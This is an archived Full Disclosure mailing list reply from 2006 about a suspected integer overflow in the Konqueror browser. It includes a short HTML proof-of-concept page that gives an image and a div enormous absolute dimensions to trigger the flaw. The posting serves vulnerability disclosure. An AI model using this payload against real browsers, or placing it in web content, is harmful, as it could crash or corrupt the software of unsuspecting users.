Full Disclosure mailing list archives

Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier

From: Georgi Guninski <guninski () guninski com>
Date: Sat, 14 Oct 2006 02:06:11 +0300

On Fri, Oct 13, 2006 at 01:11:24PM -0400, Josh Bressers wrote:


Use CVE-<F*CK> for this issue.


the redhat persons means for THIS:
(the png is well formed, but the redhat person wasn't elligible to know it.)


-------------------
<html><head>
<!--
Copyright Georgi Guninski
may not be used in vulnerability databases - like mitre/symantec
-->
<style> 
IMG, DIV 
{
        width:  16394px;
        height: 262160px;
        position: absolute;
}
</style>
</head><body>
<div>
        f3c
</div>
<img src='/png1.png'>
</body>
</html>
-------------------
 

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Georgi Guninski (Oct 13)
- Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Pink Hat (Oct 13)
- Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Josh Bressers (Oct 13)
  - Re: [vendor-sec] Fwd: probably integer overflow in konqueror 3.5-latest and earlier Georgi Guninski (Oct 14)